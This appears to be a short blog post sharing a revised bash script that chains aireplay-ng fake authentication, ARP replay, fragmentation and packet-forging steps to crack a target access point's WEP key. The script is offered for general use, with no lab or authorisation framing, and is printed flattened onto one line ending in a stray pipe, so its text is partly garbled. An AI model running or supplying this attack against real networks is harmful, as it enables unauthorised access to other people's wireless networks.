I told Dan a while back I was going to revise his, already awesome, aireplay-ng -5 script to make it a bit more user friendly. Though the modifications were small; they took care of the job. They also seem to have fixed the problem with the processes not terminating properly. There are still a few things I would like to integrate and I will play with them when I have time.
Hope you all enjoy…
And like I said most of the credit goes to Tetsu; I just splashed it with a little bit of awesome sauce.
wlan0mac=`ifconfig wlan0 | grep HWaddr | sed 's/^.*HWaddr //; s/-/:/g' | cut -b 1-17` set -x konsole -e aireplay-ng -1 10 -a $1 wlan0 & konsole -e aireplay-ng -3 -b $1 wlan0 & if aireplay-ng -5 -b $1 wlan0 || (killall aireplay-ng; exit) ; then echo; echo packetforge-ng -0 -a $1 -h $wlan0mac -k 255.255.255.255 -l 255.255.255.255 -y `ls *.xor -t|head -n1` -w arp-request echo; echo else kill -9 `pidof aireplay-ng` fi function closeout() { kill -9 `pidof aireplay-ng`; } trap closeout SIGTERM SIGINT aireplay-ng -2 -r arp-request -a $1 wlan0 |
Leave a Reply